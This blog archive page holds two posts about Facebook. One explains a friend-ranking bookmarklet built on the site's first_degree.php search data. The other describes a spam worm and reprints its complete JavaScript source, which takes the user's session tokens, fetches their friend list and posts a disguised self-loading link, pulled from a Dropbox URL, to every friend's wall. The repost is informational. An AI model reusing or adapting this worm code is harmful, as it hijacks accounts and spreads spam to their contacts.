Tag Archives: facebook

Who Does Facebook Think You Are Searching For?

Posted on by
410


==========================================
UPDATE February 14, 2012: Many people have noted that Facebook has changed stuff in the last several months and so the bookmarklet broke. I have updated it to work on the new filename Facebook is using, and also to match the protocol you are browsing on. Drag this link to your bookmarks bar and click it when you are on Facebook. You may have to click it twice to work.

Facebook Friends Rankings
==========================================

Have you ever wondered how Facebook orders your search results? Clearly they have some ordering about who they think you are looking for, and they seem to guess pretty well. I can only guess, but it seems like they order it based on who you interact with, whose profile you look at and who you have recently become friends with.

Well Facebook gives explicit numbers to the directed edges (connection going from you to your friend), about how much they think you are looking for this person. I wrote a bookmarklet that makes it easy to see this list. Although you already know who you look at most, it is eerie to see the list they have come up with—and the numbers they give. The more negative the number, the more Facebook thinks you are looking for them.

To try it out, just drag the image here up to your browser’s bookmark bar. Then go to Facebook and click the bookmarklet. More explanation below.

Note: This is really interesting, but may be embarrassing to you.

Facebook Friends

Try dragging this link if the image doesn’t work for you.
Facebook Friends

Tested on Chrome, Firefox, and Safari. If bookmarklet does not work on chrome, just try creating a new bookmark with the javascript as the url.

(Note: If you have https on, it won’t work. You can disable it temporarily by going to Account Settings/Security/Secure Browsing.)

How We Discovered this Link

We were working on our autocomplete search for the website we are building this summer called raunk.com and we were wondering why our autocomplete was so slow. If we typed fast, we could type faster than the results would show up. I thought, “Maybe I just type really fast, faster than the results can load.” We then checked Facebook. If we typed faster than Facebook autocomplete then it had to be okay. Well we started typing, and no matter how fast we typed, they already had results showing up.

How did they do this? Were their servers just that much faster than ours? (They are that much faster than ours.) But what turned out to be the difference was this file that they were preloading called first_degree.php. If you open up the Network panel in the Chrome Inspector or Firebug, you can see this file being requested asynchronously. Select XHR to only see AJAX requests.

Well in this file there is a lot of great information. It’s just JSON. There are probably two files, one which loads your first degree friends, and one which loads your “first degree” pages and events. Well if you open up the JSON file you will see, an ordered list of who Facebook thinks you are looking for.

Basically, you will find a list which is mostly who Facebook thinks you are Facebook stalking. And if you expand the entry you will see a field called ‘index’. ‘index’ is the number they give to that edge. The lower the number the earlier they show up on your search results.

And this stuff is all client-side, so it is all visible to you, and most likely will be for quite some time. This list is surprisingly interesting to check every now and then, and it will make you wonder how their algorithm is working and how those people go there.

Other Interesting Parts of this File

If you look a little more at this file you will find lots of other interesting information. There is an optional field that shows up in some results called ‘tokens’. This ‘tokens’ field stores common aliases to your friend’s name. For example, I have a friend named Michael, and his tokens says ‘mike’. My brothers is named Zach, but his tokens says ‘Brother’. Under Daniel it has ‘dan danny’. So look through the tokens, and find a friend who has a token that is not all close to his or her name. If you search it, you’ll notice that your friend will come up. That’s how it works. These are just common aliases for the name–not ones specific to your friend.

How the Bookmarlet Works

Here is how the bookmarklet works: It creates a script element on the page, gets a javascript file from my blog, and this file makes a request to the file first_degree.php with the correct parameters, and then it displays the results formatted nicely on your page.

UPDATE: Thanks for all the comments and feedback! I really appreciate and am glad you found the bookmarklet interesting and entertaining. If you’d like to contact me about the bookmarklet or about our website raunk.com, just shoot me an email or find me on Twitter @jkeesh.

Wow, Facebook Hackers

Posted on by
3

So I saw a post on my wall from a friend, but something just didn’t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn’t want to post to all of your friends. And many people made the mistake, and it spread fast.

Mainly, it is impressive that these Facebook hackers were able to come up with this. It shows you how difficult of a problem security is for a big company like Facebook.

The hack was that they made a link which appeared to be from Facebook say “Remove this App” right next to common actions like “Like” or “Comment.” But this link was a link to a malicious piece of javascript which got a file from Dropbox and copied this post onto the walls of your friends.

I went to look at the file… which was here, http://dl.dropbox.com/u/10505629/verify.js. But then I went back and Dropbox had apparently taken it down about two minutes later. A fast response–but this message had probably already been replicated, idk, a hundred thousand times?

It seems to have been low damage, but it raises interesting security questions when people believe so readily the information that comes from their friends’ Facebook accounts. I just heard yesterday a case where a friend’s mom’s account had sent out a message about needing help and wiring money–and people fell for it.

I’m posting the js code below, since it is now not accessible — but with the swearing removed.

==== verify.js ======

var message = "-------------------- I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0 ; i < friends.length ;  i++) {

	var httpwp = new XMLHttpRequest();
	var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
	var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
				   "&post_form_id=" + post_form_id +
				   "&fb_dtsg=" + fb_dtsg +
				   "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
				   "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
				   "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
				   "&user_message=" + message;
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 && httpwp.status == 200){

		}
	}
	httpwp.send(paramswp);
}
alert("Failed to remove. ----------");
document.location = "";